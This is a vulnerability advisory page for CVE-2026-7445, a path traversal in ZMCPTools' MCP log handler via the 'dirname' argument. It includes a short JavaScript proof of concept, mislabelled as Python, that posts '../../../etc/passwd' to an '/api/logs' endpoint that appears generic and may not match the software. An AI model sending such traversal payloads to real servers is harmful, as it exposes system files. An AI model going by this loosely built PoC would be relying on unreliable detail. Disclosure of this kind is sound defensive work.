CVE-2026-7445

Description

A security vulnerability has been detected in ZachHandley ZMCPTools up to 0.2.2. Affected by this issue is some unknown functionality of the file src/managers/ResourceManager.ts of the component MCP Log Resource Handler. The manipulation of the argument dirname leads to path traversal. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

ZachHandley ZMCPTools <= 0.2.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// Example PoC for CVE-2026-7445
// Manipulating the 'dirname' parameter to trigger path traversal

const axios = require('axios');

async function checkVulnerability(targetUrl) {
    const payload = {
        "dirname": "../../../etc/passwd"
    };

    try {
        const response = await axios.post(`${targetUrl}/api/logs`, payload);
        if (response.status === 200) {
            console.log("[+] Potential vulnerability detected!");
            console.log("Response:", response.data);
        }
    } catch (error) {
        console.error("[-] Request failed:", error.message);
    }
}

// Replace with actual target endpoint
checkVulnerability('http://localhost:3000');

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7445
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7445
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7445/
[4] VulDB https://vuldb.com/cve/CVE-2026-7445
[5] https://github.com/BruceJqs/public_exp/issues/23
[6] https://github.com/ZachHandley/ZMCPTools/
[7] https://github.com/ZachHandley/ZMCPTools/issues/8
[8] https://vuldb.com/submit/804058
[9] https://vuldb.com/vuln/360186
[10] https://vuldb.com/vuln/360186/cti

Raw JSON Data

JSON

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